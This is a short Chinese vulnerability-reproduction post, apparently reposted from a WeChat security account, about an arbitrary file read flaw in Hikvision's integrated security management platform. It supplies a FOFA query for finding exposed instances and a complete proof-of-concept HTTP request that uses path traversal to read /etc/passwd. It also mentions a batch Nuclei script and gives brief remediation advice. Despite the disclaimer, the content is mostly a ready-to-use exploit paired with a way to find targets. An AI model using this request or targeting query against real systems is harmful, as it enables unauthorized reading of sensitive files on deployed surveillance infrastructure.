0x01 免责声明
免责声明
请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任。工具来自网络,安全性自测,如有侵权请联系删除。本次测试仅供学习使用,如若非法他用,与平台和本文作者无关,需自行负责!!!
产品介绍
漏洞威胁
漏洞环境
FOFA:
title="综合安防管理平台"
漏洞复现
POC
GET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
批量脚本验证
Nuclei验证脚本已发布
知识星球:冷漠安全
修复建议
关闭互联网暴露面或接口设置访问权限
升级至安全版本
原文始发于微信公众号(冷漠安全):「漏洞复现」海康威视综合安防管理平台 orgManage/v1/orgs/download 任意文件读取漏洞
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论